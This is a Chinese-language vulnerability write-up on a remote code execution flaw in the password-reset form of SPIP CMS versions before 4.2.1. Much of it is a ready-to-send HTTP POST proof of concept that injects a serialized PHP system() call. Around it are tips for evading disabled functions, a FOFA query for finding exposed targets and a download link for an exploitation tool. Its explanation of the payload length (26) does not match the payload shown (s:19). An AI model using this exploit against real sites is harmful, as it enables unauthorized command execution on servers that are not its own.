一、漏洞描述
SPIP Cms v4.2.1之前版本允许通过公共区域中的表单值远程执行代码,因为序列化处理不当。
二、漏洞分析
漏洞存在与密码重置功能中(漏洞点位url:/spip.php?page=spip_pass),重置密码时 protege_champ()函数没有对序列化字符串进行过滤,从而触发命令执行漏洞。
三、影响版本
SPIP < 4.2.1
**FOFA语句:**app=“SPIP”
四、漏洞复现
POC
POST /spip.php?page=spip_pass HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
Connection: close
Upgrade-Insecure-Requests: 1
page=spip_pass&formulaire_action=oubli&formulaire_action_args=CSRF_TOKEN&oubli=s:19:"<?php system(whoami); ?>";&nobot=
Payload解释:s表示字符串格式,26表示Payload长度(冒号以内),如果禁用system(),可以使用shell_exec()、passthru()、proc_open()等等
1、注意看清目标是什么系统,不一定只是Linux
2、命令执行失败:(1)看一下禁用函数。(2)更换命令执行函数。(3)字符原因。(4)系统环境问题。
3、响应包搜索id='oubli’就是命令执行的结果。
小龙工具复现:
下载链接:https://pan.baidu.com/s/1kCG5D4PMwY5wKeR47yL6iA?pwd=6666
提取码:6666
五、修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://git.spip.net/spip/spip/src/tag/v4.2.2